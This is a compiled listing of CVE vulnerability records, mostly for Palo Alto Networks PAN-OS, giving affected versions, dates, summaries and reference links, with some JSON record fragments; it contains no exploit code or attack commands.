Vulnerability from cvelistv5
Published
2020-09-09 16:45
Modified
2024-09-16 16:47
Summary
An OS Command Injection vulnerability in the PAN-OS management interface that allows authenticated administrators to execute arbitrary OS commands with root privileges. This issue impacts: PAN-OS 9.0 versions earlier than 9.0.10; PAN-OS 9.1 versions earlier than 9.1.4; PAN-OS 10.0 versions earlier than 10.0.1.
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2020-2017
Vulnerability from cvelistv5
Published
2020-05-13 19:07
Modified
2024-09-16 22:57
Summary
A DOM-Based Cross Site Scripting Vulnerability exists in PAN-OS and Panorama Management Web Interfaces. A remote attacker able to convince an authenticated administrator to click on a crafted link to PAN-OS and Panorama Web Interfaces could execute arbitrary JavaScript code in the administrator's browser and perform administrative actions. This issue affects: PAN-OS 7.1 versions earlier than 7.1.26; PAN-OS 8.1 versions earlier than 8.1.13; PAN-OS 9.0 versions earlier than 9.0.6; All versions of PAN-OS 8.0.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2019-1572
Vulnerability from cvelistv5
Published
2019-03-26 21:48
Modified
2024-08-04 18:20
Severity ?
Summary
PAN-OS 9.0.0 may allow an unauthenticated remote user to access php files.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2017-15943
Vulnerability from cvelistv5
Published
2017-12-11 17:00
Modified
2024-08-05 20:13
Severity ?
Summary
The configuration file import for applications, spyware and vulnerability objects functionality in the web interface in Palo Alto Networks PAN-OS before 6.1.19, 7.0.x before 7.0.19, and 7.1.x before 7.1.14 allows remote attackers to conduct server-side request forgery (SSRF) attacks and consequently obtain sensitive information via vectors related to parsing of external entities.
References
http://www.securitytracker.com/id/1040005vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/102074vdb-entry, x_refsource_BID
https://security.paloaltonetworks.com/CVE-2017-15943x_refsource_CONFIRM
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2023-6793
Vulnerability from cvelistv5
Published
2023-12-13 18:40
Modified
2024-12-02 14:27
Summary
An improper privilege management vulnerability in Palo Alto Networks PAN-OS software enables an authenticated read-only administrator to revoke active XML API keys from the firewall and disrupt XML API usage.
Impacted products
Vendor Product Version
Palo Alto Networks Prisma Access
Palo Alto Networks Cloud NGFW
Show details on NVD website


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cve-2018-18065
Vulnerability from cvelistv5
Published
2018-10-08 18:00
Modified
2024-08-05 11:01
Severity ?
Summary
_set_key in agent/helpers/table_container.c in Net-SNMP before 5.8 has a NULL Pointer Exception bug that can be used by an authenticated attacker to remotely cause the instance to crash via a crafted UDP packet, resulting in Denial of Service.
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2020-2002
Vulnerability from cvelistv5
Published
2020-05-13 19:07
Modified
2024-09-17 04:03
Summary
An authentication bypass by spoofing vulnerability exists in the authentication daemon and User-ID components of Palo Alto Networks PAN-OS by failing to verify the integrity of the Kerberos key distribution center (KDC) before authenticating users. This affects all forms of authentication that use a Kerberos authentication profile. A man-in-the-middle type of attacker with the ability to intercept communication between PAN-OS and KDC can login to PAN-OS as an administrator. This issue affects: PAN-OS 7.1 versions earlier than 7.1.26; PAN-OS 8.1 versions earlier than 8.1.13; PAN-OS 9.0 versions earlier than 9.0.6; All version of PAN-OS 8.0.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2024-0007
Vulnerability from cvelistv5
Published
2024-02-14 17:32
Modified
2024-08-01 17:41
Summary
A cross-site scripting (XSS) vulnerability in Palo Alto Networks PAN-OS software enables a malicious authenticated read-write administrator to store a JavaScript payload using the web interface on Panorama appliances. This enables the impersonation of another authenticated administrator.
Impacted products
Vendor Product Version
Palo Alto Networks Prisma Access
Palo Alto Networks Cloud NGFW
Show details on NVD website


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cve-2021-3036
Vulnerability from cvelistv5
Published
2021-04-20 03:15
Modified
2024-09-17 04:28
Summary
An information exposure through log file vulnerability exists in Palo Alto Networks PAN-OS software where secrets in PAN-OS XML API requests are logged in cleartext to the web server logs when the API is used incorrectly. This vulnerability applies only to PAN-OS appliances that are configured to use the PAN-OS XML API and exists only when a client includes a duplicate API parameter in API requests. Logged information includes the cleartext username, password, and API key of the administrator making the PAN-OS XML API request.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2024-0011
Vulnerability from cvelistv5
Published
2024-02-14 17:32
Modified
2024-08-01 17:41
Summary
A reflected cross-site scripting (XSS) vulnerability in the Captive Portal feature of Palo Alto Networks PAN-OS software enables execution of malicious JavaScript (in the context of an authenticated Captive Portal user’s browser) if a user clicks on a malicious link, allowing phishing attacks that could lead to credential theft.
Impacted products
Vendor Product Version
Palo Alto Networks Prisma Access
Palo Alto Networks Cloud NGFW
Show details on NVD website


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cve-2021-3047
Vulnerability from cvelistv5
Published
2021-08-11 17:10
Modified
2024-09-17 02:32
Summary
A cryptographically weak pseudo-random number generator (PRNG) is used during authentication to the Palo Alto Networks PAN-OS web interface. This enables an authenticated attacker, with the capability to observe their own authentication secrets over a long duration on the PAN-OS appliance, to impersonate another authenticated web interface administrator's session. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.19; PAN-OS 9.0 versions earlier than PAN-OS 9.0.14; PAN-OS 9.1 versions earlier than PAN-OS 9.1.10; PAN-OS 10.0 versions earlier than PAN-OS 10.0.4. PAN-OS 10.1 versions are not impacted.
References
Impacted products
Vendor Product Version
Show details on NVD website


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        },
        "configuration": [
          {
            "lang": "en",
            "value": "There is no specific configuration required for this exposure\u2014all web interface authentication methods are impacted by this issue."
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        ],
        "credit": [
          {
            "lang": "eng",
            "value": "Palo Alto Networks thanks Google Security for discovering and reporting this issue."
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        "data_format": "MITRE",
        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
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            "baseScore": 4.2,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N",
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        "problemtype": {
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            {
              "name": "https://security.paloaltonetworks.com/CVE-2021-3047",
              "refsource": "MISC",
              "url": "https://security.paloaltonetworks.com/CVE-2021-3047"
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        },
        "solution": [
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        "source": {
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          "discovery": "EXTERNAL"
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            "value": "Initial publication"
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  "cveMetadata": {
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    "assignerShortName": "palo_alto",
    "cveId": "CVE-2021-3047",
    "datePublished": "2021-08-11T17:10:17.831915Z",
    "dateReserved": "2021-01-06T00:00:00",
    "dateUpdated": "2024-09-17T02:32:37.786Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

cve-2024-9471
Vulnerability from cvelistv5
Published
2024-10-09 17:06
Modified
2024-10-18 11:58
Summary
A privilege escalation (PE) vulnerability in the XML API of Palo Alto Networks PAN-OS software enables an authenticated PAN-OS administrator with restricted privileges to use a compromised XML API key to perform actions as a higher privileged PAN-OS administrator. For example, an administrator with "Virtual system administrator (read-only)" access could use an XML API key of a "Virtual system administrator" to perform write operations on the virtual system configuration even though they should be limited to read-only operations.
References
Impacted products
Vendor Product Version
Palo Alto Networks Cloud NGFW
Palo Alto Networks Prisma Access
Show details on NVD website


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              "value": "This issue is applicable only to PAN-OS configurations that have XML API access enabled.\u003cbr\u003e\u003cbr\u003eYou can find more information about the XML API here: https://docs.paloaltonetworks.com/pan-os/11-1/pan-os-panorama-api/pan-os-api-authentication/enable-api-access"
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              "value": "This issue is fixed in PAN-OS 10.1.11, PAN-OS 10.2.8, PAN-OS 11.0.3, and all later PAN-OS versions."
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cve-2020-2022
Vulnerability from cvelistv5
Published
2020-11-12 00:05
Modified
2024-09-16 17:08
Summary
An information exposure vulnerability exists in Palo Alto Networks Panorama software that discloses the token for the Panorama web interface administrator's session to a managed device when the Panorama administrator performs a context switch into that device. This vulnerability allows an attacker to gain privileged access to the Panorama web interface. An attacker requires some knowledge of managed firewalls to exploit this issue. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.17; PAN-OS 9.0 versions earlier than PAN-OS 9.0.11; PAN-OS 9.1 versions earlier than PAN-OS 9.1.5.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2012-6602
Vulnerability from cvelistv5
Published
2013-08-31 17:00
Modified
2024-08-06 21:36
Severity ?
Summary
The device-management command-line interface in Palo Alto Networks PAN-OS before 3.1.10 and 4.0.x before 4.0.4 allows remote authenticated users to execute arbitrary commands via unspecified vectors, aka Ref ID 30122.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2020-2039
Vulnerability from cvelistv5
Published
2020-09-09 16:45
Modified
2024-09-16 17:54
Summary
An uncontrolled resource consumption vulnerability in Palo Alto Networks PAN-OS allows for a remote unauthenticated user to upload temporary files through the management web interface that are not properly deleted after the request is finished. It is possible for an attacker to disrupt the availability of the management web interface by repeatedly uploading files until available disk space is exhausted. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.16; PAN-OS 9.0 versions earlier than PAN-OS 9.0.10; PAN-OS 9.1 versions earlier than PAN-OS 9.1.4; PAN-OS 10.0 versions earlier than PAN-OS 10.0.1.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2020-2007
Vulnerability from cvelistv5
Published
2020-05-13 19:07
Modified
2024-09-17 03:08
Summary
An OS command injection vulnerability in the management server component of PAN-OS allows an authenticated user to potentially execute arbitrary commands with root privileges. This issue affects: All PAN-OS 7.1 versions; PAN-OS 8.1 versions earlier than 8.1.14; PAN-OS 9.0 versions earlier than 9.0.7.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2021-3053
Vulnerability from cvelistv5
Published
2021-09-08 17:10
Modified
2024-09-16 16:17
Summary
An improper handling of exceptional conditions vulnerability exists in the Palo Alto Networks PAN-OS dataplane that enables an unauthenticated network-based attacker to send specifically crafted traffic through the firewall that causes the service to crash. Repeated attempts to send this request result in denial of service to all PAN-OS services by restarting the device and putting it into maintenance mode. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.20; PAN-OS 9.0 versions earlier than PAN-OS 9.0.14; PAN-OS 9.1 versions earlier than PAN-OS 9.1.9; PAN-OS 10.0 versions earlier than PAN-OS 10.0.5. This issue does not affect Prisma Access.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2017-15942
Vulnerability from cvelistv5
Published
2017-12-11 17:00
Modified
2024-08-05 20:13
Severity ?
Summary
Palo Alto Networks PAN-OS before 6.1.19, 7.0.x before 7.0.19, 7.1.x before 7.1.13, and 8.0.x before 8.0.6 allows remote attackers to cause a denial of service via vectors related to the management interface.
References
http://www.securitytracker.com/id/1040004vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/102075vdb-entry, x_refsource_BID
https://security.paloaltonetworks.com/CVE-2017-15942x_refsource_CONFIRM
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2020-2028
Vulnerability from cvelistv5
Published
2020-06-10 17:28
Modified
2024-09-16 18:18
Summary
An OS Command Injection vulnerability in PAN-OS management server allows authenticated administrators to execute arbitrary OS commands with root privileges when uploading a new certificate in FIPS-CC mode. This issue affects: All versions of PAN-OS 7.1 and PAN-OS 8.0; PAN-OS 8.1 versions earlier than PAN-OS 8.1.13; PAN-OS 9.0 versions earlier than PAN-OS 9.0.7.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2020-1997
Vulnerability from cvelistv5
Published
2020-05-13 19:07
Modified
2024-09-16 19:36
Summary
An open redirection vulnerability in the GlobalProtect component of Palo Alto Networks PAN-OS allows an attacker to specify an arbitrary redirection target away from the trusted GlobalProtect gateway. If the user then successfully authenticates it will cause them to access an unexpected and potentially malicious website. This issue affects: PAN-OS 7.1 versions earlier than 7.1.26; PAN-OS 8.0 versions earlier than 8.0.14.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2020-2010
Vulnerability from cvelistv5
Published
2020-05-13 19:07
Modified
2024-09-16 16:33
Summary
An OS command injection vulnerability in PAN-OS management interface allows an authenticated administrator to execute arbitrary OS commands with root privileges. This issue affects: All versions of PAN-OS 7.1 and 8.0; PAN-OS 8.1 versions earlier than 8.1.14; PAN-OS 9.0 versions earlier than 9.0.7.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2020-2034
Vulnerability from cvelistv5
Published
2020-07-08 16:35
Modified
2024-09-16 19:46
Summary
An OS Command Injection vulnerability in the PAN-OS GlobalProtect portal allows an unauthenticated network based attacker to execute arbitrary OS commands with root privileges. An attacker requires some knowledge of the firewall to exploit this issue. This issue can not be exploited if GlobalProtect portal feature is not enabled. This issue impacts PAN-OS 9.1 versions earlier than PAN-OS 9.1.3; PAN-OS 8.1 versions earlier than PAN-OS 8.1.15; PAN-OS 9.0 versions earlier than PAN-OS 9.0.9; all versions of PAN-OS 8.0 and PAN-OS 7.1. Prisma Access services are not impacted by this vulnerability.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2019-1565
Vulnerability from cvelistv5
Published
2019-01-30 20:00
Modified
2024-09-16 18:59
Severity ?
Summary
The PAN-OS external dynamics lists in PAN-OS 7.1.21 and earlier, PAN-OS 8.0.14 and earlier, and PAN-OS 8.1.5 and earlier, may allow an attacker that is authenticated in Next Generation Firewall with write privileges to External Dynamic List configuration to inject arbitrary JavaScript or HTML.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2017-5583
Vulnerability from cvelistv5
Published
2017-03-15 14:00
Modified
2024-08-05 15:04
Severity ?
Summary
The Management Web Interface in Palo Alto Networks PAN-OS before 6.1.16, 7.0.x before 7.0.13, and 7.1.x before 7.1.8 allows remote authenticated users to read arbitrary files via unspecified vectors.
References
http://www.securityfocus.com/bid/96370vdb-entry, x_refsource_BID
http://www.securitytracker.com/id/1037890vdb-entry, x_refsource_SECTRACK
https://security.paloaltonetworks.com/CVE-2017-5583x_refsource_CONFIRM
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2018-9337
Vulnerability from cvelistv5
Published
2018-07-03 21:00
Modified
2024-08-05 07:17
Severity ?
Summary
The PAN-OS web interface administration page in PAN-OS 6.1.20 and earlier, PAN-OS 7.1.17 and earlier, PAN-OS 8.0.10 and earlier, and PAN-OS 8.1.1 and earlier may allow an attacker to inject arbitrary JavaScript or HTML.
References
http://www.securitytracker.com/id/1041240vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/104657vdb-entry, x_refsource_BID
https://security.paloaltonetworks.com/CVE-2018-9337x_refsource_CONFIRM
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2023-6789
Vulnerability from cvelistv5
Published
2023-12-13 18:26
Modified
2024-08-02 08:42
Summary
A cross-site scripting (XSS) vulnerability in Palo Alto Networks PAN-OS software enables a malicious authenticated read-write administrator to store a JavaScript payload using the web interface. Then, when viewed by a properly authenticated administrator, the JavaScript payload executes and disguises all associated actions as performed by that unsuspecting authenticated administrator.
Impacted products
Vendor Product Version
Palo Alto Networks Prisma Access
Palo Alto Networks Cloud NGFW
Show details on NVD website


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cve-2021-3054
Vulnerability from cvelistv5
Published
2021-09-08 17:10
Modified
2024-09-16 23:40
Summary
A time-of-check to time-of-use (TOCTOU) race condition vulnerability in the Palo Alto Networks PAN-OS web interface enables an authenticated administrator with permission to upload plugins to execute arbitrary code with root user privileges. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.20; PAN-OS 9.0 versions earlier than PAN-OS 9.0.14; PAN-OS 9.1 versions earlier than PAN-OS 9.1.11; PAN-OS 10.0 versions earlier than PAN-OS 10.0.7; PAN-OS 10.1 versions earlier than PAN-OS 10.1.2. This issue does not affect Prisma Access.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2015-4162
Vulnerability from cvelistv5
Published
2015-06-02 14:00
Modified
2024-08-06 06:04
Severity ?
Summary
XML external entity (XXE) vulnerability in the management interface in PAN-OS before 5.0.16, 6.x before 6.0.8, and 6.1.x before 6.1.4 allows remote authenticated administrators to obtain sensitive information via crafted XML data.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2022-0022
Vulnerability from cvelistv5
Published
2022-03-09 17:35
Modified
2024-09-16 20:47
Summary
Usage of a weak cryptographic algorithm in Palo Alto Networks PAN-OS software where the password hashes of administrator and local user accounts are not created with a sufficient level of computational effort, which allows for password cracking attacks on accounts in normal (non-FIPS-CC) operational mode. An attacker must have access to the account password hashes to take advantage of this weakness and can acquire those hashes if they are able to gain access to the PAN-OS software configuration. Fixed versions of PAN-OS software use a secure cryptographic algorithm for account password hashes. This issue does not impact Prisma Access firewalls. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.21; All versions of PAN-OS 9.0; PAN-OS 9.1 versions earlier than PAN-OS 9.1.11; PAN-OS 10.0 versions earlier than PAN-OS 10.0.7.
References
Impacted products
Vendor Product Version
Palo Alto Networks Prisma Access
Show details on NVD website


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cve-2018-10140
Vulnerability from cvelistv5
Published
2018-08-16 18:00
Modified
2024-09-16 18:39
Severity ?
Summary
The PAN-OS Management Web Interface in Palo Alto Networks PAN-OS 8.1.2 and earlier may allow an authenticated user to shut down all management sessions, resulting in all logged in users to be redirected to the login page. PAN-OS 6.1, PAN-OS 7.1 and PAN-OS 8.0 are NOT affected.
References
http://www.securityfocus.com/bid/105107vdb-entry, x_refsource_BID
http://www.securitytracker.com/id/1041545vdb-entry, x_refsource_SECTRACK
https://security.paloaltonetworks.com/CVE-2018-10140x_refsource_CONFIRM
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2020-2009
Vulnerability from cvelistv5
Published
2020-05-13 19:07
Modified
2024-09-16 18:07
Summary
An external control of filename vulnerability in the SD WAN component of Palo Alto Networks PAN-OS Panorama allows an authenticated administrator to send a request that results in the creation and write of an arbitrary file on all firewalls managed by the Panorama. In some cases this results in arbitrary code execution with root permissions. This issue affects: All versions of PAN-OS 7.1; PAN-OS 8.1 versions earlier than 8.1.14; PAN-OS 9.0 versions earlier than 9.0.7.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2023-38046
Vulnerability from cvelistv5
Published
2023-07-12 16:20
Modified
2024-08-02 17:30
Summary
A vulnerability exists in Palo Alto Networks PAN-OS software that enables an authenticated administrator with the privilege to commit a specifically created configuration to read local files and resources from the system.
Impacted products
Vendor Product Version
Palo Alto Networks Cloud NGFW
Palo Alto Networks Prisma Access
Show details on NVD website


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cve-2016-1712
Vulnerability from cvelistv5
Published
2016-08-02 16:00
Modified
2024-08-05 23:02
Severity ?
Summary
Palo Alto Networks PAN-OS before 5.0.19, 5.1.x before 5.1.12, 6.0.x before 6.0.14, 6.1.x before 6.1.12, and 7.0.x before 7.0.8 might allow local users to gain privileges by leveraging improper sanitization of the root_reboot local invocation.
References
http://www.securitytracker.com/id/1036326vdb-entry, x_refsource_SECTRACK
https://security.paloaltonetworks.com/CVE-2016-1712x_refsource_CONFIRM
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2012-6605
Vulnerability from cvelistv5
Published
2013-08-31 17:00
Modified
2024-08-06 21:36
Severity ?
Summary
The device-management command-line interface in Palo Alto Networks PAN-OS before 3.1.11 and 4.0.x before 4.0.9 allows remote authenticated users to execute arbitrary code via unspecified vectors, aka Ref ID 34896.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2021-3059
Vulnerability from cvelistv5
Published
2021-11-10 17:10
Modified
2024-09-16 17:03
Summary
An OS command injection vulnerability in the Palo Alto Networks PAN-OS management interface exists when performing dynamic updates. This vulnerability enables a man-in-the-middle attacker to execute arbitrary OS commands to escalate privileges. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.20-h1; PAN-OS 9.0 versions earlier than PAN-OS 9.0.14-h3; PAN-OS 9.1 versions earlier than PAN-OS 9.1.11-h2; PAN-OS 10.0 versions earlier than PAN-OS 10.0.8; PAN-OS 10.1 versions earlier than PAN-OS 10.1.3. Prisma Access customers that have Prisma Access 2.1 Preferred or Prisma Access 2.1 Innovation firewalls are impacted by this issue.
References
Impacted products
Vendor Product Version
Palo Alto Networks Prisma Access Version: 2.1 Innovation
Version: 2.1 Preferred
Patch: all
Show details on NVD website


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cve-2016-8610
Vulnerability from cvelistv5
Published
2017-11-13 22:00
Modified
2024-08-06 02:27
Severity ?
Summary
A denial of service flaw was found in OpenSSL 0.9.8, 1.0.1, 1.0.2 through 1.0.2h, and 1.1.0 in the way the TLS/SSL protocol defined processing of ALERT packets during a connection handshake. A remote attacker could use this flaw to make a TLS/SSL server consume an excessive amount of CPU and fail to accept connections from other clients.
References
http://www.securityfocus.com/bid/93841vdb-entry, x_refsource_BID
http://rhn.redhat.com/errata/RHSA-2017-1659.htmlvendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2017:1658vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2017:1801vendor-advisory, x_refsource_REDHAT
http://rhn.redhat.com/errata/RHSA-2017-0286.htmlvendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2017:1413vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2017:2494vendor-advisory, x_refsource_REDHAT
https://security.FreeBSD.org/advisories/FreeBSD-SA-16:35.openssl.ascvendor-advisory, x_refsource_FREEBSD
https://access.redhat.com/errata/RHSA-2017:1414vendor-advisory, x_refsource_REDHAT
http://seclists.org/oss-sec/2016/q4/224mailing-list, x_refsource_MLIST
http://rhn.redhat.com/errata/RHSA-2017-0574.htmlvendor-advisory, x_refsource_REDHAT
https://www.debian.org/security/2017/dsa-3773vendor-advisory, x_refsource_DEBIAN
http://rhn.redhat.com/errata/RHSA-2017-1415.htmlvendor-advisory, x_refsource_REDHAT
http://www.securitytracker.com/id/1037084vdb-entry, x_refsource_SECTRACK
https://access.redhat.com/errata/RHSA-2017:1802vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2017:2493vendor-advisory, x_refsource_REDHAT
https://www.oracle.com/security-alerts/cpuapr2020.htmlx_refsource_MISC
https://www.oracle.com/security-alerts/cpujul2020.htmlx_refsource_MISC
https://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.htmlx_refsource_MISC
https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.htmlx_refsource_MISC
https://www.oracle.com/security-alerts/cpujan2020.htmlx_refsource_MISC
https://security.netapp.com/advisory/ntap-20171130-0001/x_refsource_CONFIRM
https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-8610x_refsource_CONFIRM
https://git.openssl.org/gitweb/?p=openssl.git%3Ba=commit%3Bh=af58be768ebb690f78530f796e92b8ae5c9a4401x_refsource_CONFIRM
https://security.360.cn/cve/CVE-2016-8610/x_refsource_MISC
https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US&docId=emr_na-hpesbhf03897en_usx_refsource_CONFIRM
https://security.paloaltonetworks.com/CVE-2016-8610x_refsource_CONFIRM
https://www.oracle.com/security-alerts/cpuoct2020.htmlx_refsource_MISC
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2022-0011
Vulnerability from cvelistv5
Published
2022-02-10 18:10
Modified
2024-09-16 23:51
Summary
PAN-OS software provides options to exclude specific websites from URL category enforcement and those websites are blocked or allowed (depending on your rules) regardless of their associated URL category. This is done by creating a custom URL category list or by using an external dynamic list (EDL) in a URL Filtering profile. When the entries in these lists have a hostname pattern that does not end with a forward slash (/) or a hostname pattern that ends with an asterisk (*), any URL that starts with the specified pattern is considered a match. Entries with a caret (^) at the end of a hostname pattern match any top level domain. This may inadvertently allow or block more URLs than intended and allowing more URLs than intended represents a security risk. For example: example.com will match example.com.website.test example.com.* will match example.com.website.test example.com.^ will match example.com.test You should take special care when using such entries in policy rules that allow traffic. Where possible, use the exact list of hostname names ending with a forward slash (/) instead of using wildcards. PAN-OS 10.1 versions earlier than PAN-OS 10.1.3; PAN-OS 10.0 versions earlier than PAN-OS 10.0.8; PAN-OS 9.1 versions earlier than PAN-OS 9.1.12; all PAN-OS 9.0 versions; PAN-OS 8.1 versions earlier than PAN-OS 8.1.21, and Prisma Access 2.2 and 2.1 versions do not allow customers to change this behavior without changing the URL category list or EDL.
References
Impacted products
Vendor Product Version
Palo Alto Networks Prisma Access Version: 2.2 Preferred
Version: 2.1 Preferred, Innovation
Show details on NVD website


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            "value": "This issue is applicable only when you configure exceptions to URL filtering either by creating a custom URL category list or by using an external dynamic list (EDL) in a URL Filtering profile as per https://docs.paloaltonetworks.com/pan-os/10-1/pan-os-admin/url-filtering/block-and-allow-lists.html."
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cve-2020-1981
Vulnerability from cvelistv5
Published
2020-03-11 18:58
Modified
2024-09-17 02:37
Summary
A predictable temporary filename vulnerability in PAN-OS allows local privilege escalation. This issue allows a local attacker who bypassed the restricted shell to execute commands as a low privileged user and gain root access on the PAN-OS hardware or virtual appliance. This issue affects only PAN-OS 8.1 versions earlier than PAN-OS 8.1.13. This issue does not affect PAN-OS 7.1, PAN-OS 9.0, or later PAN-OS versions.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2012-6600
Vulnerability from cvelistv5
Published
2013-08-31 17:00
Modified
2024-08-06 21:36
Severity ?
Summary
The device-management command-line interface in Palo Alto Networks PAN-OS 4.0.x before 4.0.9 and 4.1.x before 4.1.2 allows remote authenticated users to execute arbitrary commands via unspecified vectors, aka Ref ID 34502.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2021-3052
Vulnerability from cvelistv5
Published
2021-09-08 17:10
Modified
2024-09-16 20:02
Summary
A reflected cross-site scripting (XSS) vulnerability in the Palo Alto Network PAN-OS web interface enables an authenticated network-based attacker to mislead another authenticated PAN-OS administrator to click on a specially crafted link that performs arbitrary actions in the PAN-OS web interface as the targeted authenticated administrator. This issue impacts: PAN-OS 8.1 versions earlier than 8.1.20; PAN-OS 9.0 versions earlier than 9.0.14; PAN-OS 9.1 versions earlier than 9.1.10; PAN-OS 10.0 versions earlier than 10.0.2. This issue does not affect Prisma Access.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2012-6596
Vulnerability from cvelistv5
Published
2013-08-31 17:00
Modified
2024-08-06 21:36
Severity ?
Summary
Palo Alto Networks PAN-OS 4.0.x before 4.0.9 and 4.1.x before 4.1.3 stores cleartext LDAP bind passwords in authd.log, which allows context-dependent attackers to obtain sensitive information by reading this file, aka Ref ID 35493.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2020-1994
Vulnerability from cvelistv5
Published
2020-05-13 19:07
Modified
2024-09-16 22:15
Summary
A predictable temporary file vulnerability in PAN-OS allows a local authenticated user with shell access to corrupt arbitrary system files affecting the integrity of the system. This issue affects: All versions of PAN-OS 7.1 and 8.0; PAN-OS 8.1 versions earlier than 8.1.13; PAN-OS 9.0 versions earlier than 9.0.7.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2017-15941
Vulnerability from cvelistv5
Published
2018-01-10 18:00
Modified
2024-08-05 20:13
Severity ?
Summary
Cross-site scripting (XSS) vulnerability in Palo Alto Networks PAN-OS before 6.1.19, 7.0.x before 7.0.19, 7.1.x before 7.1.14, and 8.0.x before 8.0.7, when the GlobalProtect gateway or portal is configured, allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.
References
http://www.securityfocus.com/bid/102446vdb-entry, x_refsource_BID
http://www.securitytracker.com/id/1040147vdb-entry, x_refsource_SECTRACK
https://security.paloaltonetworks.com/CVE-2017-15941x_refsource_CONFIRM
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2020-2041
Vulnerability from cvelistv5
Published
2020-09-09 16:45
Modified
2024-09-16 19:47
Summary
An insecure configuration of the appweb daemon of Palo Alto Networks PAN-OS 8.1 allows a remote unauthenticated user to send a specifically crafted request to the device that causes the appweb service to crash. Repeated attempts to send this request result in denial of service to all PAN-OS services by restarting the device and putting it into maintenance mode. This issue impacts all versions of PAN-OS 8.0, and PAN-OS 8.1 versions earlier than 8.1.16.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2023-6792
Vulnerability from cvelistv5
Published
2023-12-13 18:16
Modified
2024-10-08 14:26
Summary
An OS command injection vulnerability in the XML API of Palo Alto Networks PAN-OS software enables an authenticated API user to disrupt system processes and potentially execute arbitrary code with limited privileges on the firewall.
Impacted products
Vendor Product Version
Palo Alto Networks Prisma Access
Palo Alto Networks Cloud NGFW
Show details on NVD website


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cve-2020-2014
Vulnerability from cvelistv5
Published
2020-05-13 19:07
Modified
2024-09-16 19:30
Summary
An OS Command Injection vulnerability in PAN-OS management server allows authenticated users to inject and execute arbitrary shell commands with root privileges. This issue affects: All versions of PAN-OS 7.1 and 8.0; PAN-OS 8.1 versions earlier than 8.1.14; PAN-OS 9.0 versions earlier than 9.0.7.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2020-2031
Vulnerability from cvelistv5
Published
2020-07-08 16:35
Modified
2024-09-16 17:58
Summary
An integer underflow vulnerability in the dnsproxyd component of the PAN-OS management interface allows authenticated administrators to issue a command from the command line interface that causes the component to stop responding. Repeated attempts to send this request result in denial of service to all PAN-OS services by restarting the device and putting it into maintenance mode. This issue impacts: PAN-OS 9.1 versions earlier than PAN-OS 9.1.3. This issue does not impact PAN-OS 8.1, PAN-OS 9.0, or Prisma Access services.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2021-3058
Vulnerability from cvelistv5
Published
2021-11-10 17:10
Modified
2024-09-16 22:52
Summary
